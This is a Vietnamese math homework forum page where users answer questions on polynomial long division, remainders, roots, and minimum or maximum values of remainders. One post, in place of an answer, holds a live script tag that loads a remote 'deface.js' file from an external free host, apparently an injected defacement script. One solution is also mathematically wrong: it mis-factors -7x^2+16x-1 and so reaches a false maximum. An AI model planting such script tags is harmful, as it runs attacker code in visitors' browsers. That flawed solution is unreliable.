K
Khách

Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.

16 tháng 10 2017

Ta có :

\(A=x^4-2x^3+3x^2-5x+10\)

\(=x^4-x^3+x^2-2x^3+2x^2-2x-3x+10\)

\(=x^2\left(x^2-x+1\right)-2x\left(x^2-x+1\right)-3x+10\)

\(=\left(x^2-x+1\right)\left(x^2-2x\right)-3x+10=B.Q+R\)

\(\Rightarrow\hept{\begin{cases}Q=x^2-2x\\R=-3x+10\end{cases}}\)

20 tháng 4 2017

Vậy 3x4 + x3 + 6x – 5 = (x2+ 1)(3x2 + x – 3) + 5x - 2



Xem thêm tại: http://loigiaihay.com/bai-69-trang-31-sgk-toan-8-tap-1-c43a4819.html#ixzz4entQxTTD

23 tháng 10 2017

Cop mạng phải ko?

29 tháng 5 2018

a) Ta có: P(x) = 3y + 6 có nghiệm khi

3y + 6 = 0

3y = -6

y = -2

Vậy đa thức P(y) có nghiệm là y = -2.

b) Q(y) = y4 + 2

Ta có: y4 có giá trị lớn hơn hoặc bằng 0 với mọi y

Nên y4 + 2 có giá trị lớn hơn 0 với mọi y

Tức là Q(y) ≠ 0 với mọi y

Vậy Q(y) không có nghiệm.

a: \(\dfrac{A}{B}=\dfrac{2x^5+3x^3-5x^2-11x+8}{x^3-3x+1}\)

\(=\dfrac{2x^5-6x^3+2x^2+9x^3-27x+9-7x^2+16x-1}{x^3-3x+1}\)

\(=2x^2+9+\dfrac{-7x^2+16x-1}{x^3-3x+1}\)

=>\(Q=2x^2+9;R=-7x^2+16x-1\)

b: R=-7x^2+16x-1

=-7(x^2-16x+1/7)

=-7(x^2-16x+64-449/7)

=-7(x-8)^2+449<=449

Dấu = xảy ra khi x=8

 

\(\dfrac{A}{B}=\dfrac{2x^4-10x^3+3x^2-3x+2}{2x^2+1}=\dfrac{2x^4+x^2-10x^3-5x+2x^2+1+2x+1}{2x^2+1}\)

\(=x^2-x+1+\dfrac{2x+1}{2x^2+1}\)

R=2x+1

\(A=\left(x^2-x+1\right)\left(2x^2+1\right)+2x+1\)

22 tháng 10 2017

đây ạ

Hỏi đáp Toán

26 tháng 10 2015

3x4 + x3 + 6x - 5 

= (x2+1)( 3x2 + x-3)+5x-2

18 tháng 11 2018
 <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script>
18 tháng 11 2018

a, Đặt tính chia ta được Q=2x+3,R=x2-4x+5

b,\(R=x^2-4x+5=x^2-4x+4+1=\left(x-2\right)^2+1\)

Vì (x-2)2 >= 0 

=> R = (x-2)2+1 >= 1

Dấu "=" xảy ra <=> x-2=0 <=> x=2

Vậy GTNN của R =  1 khi x=2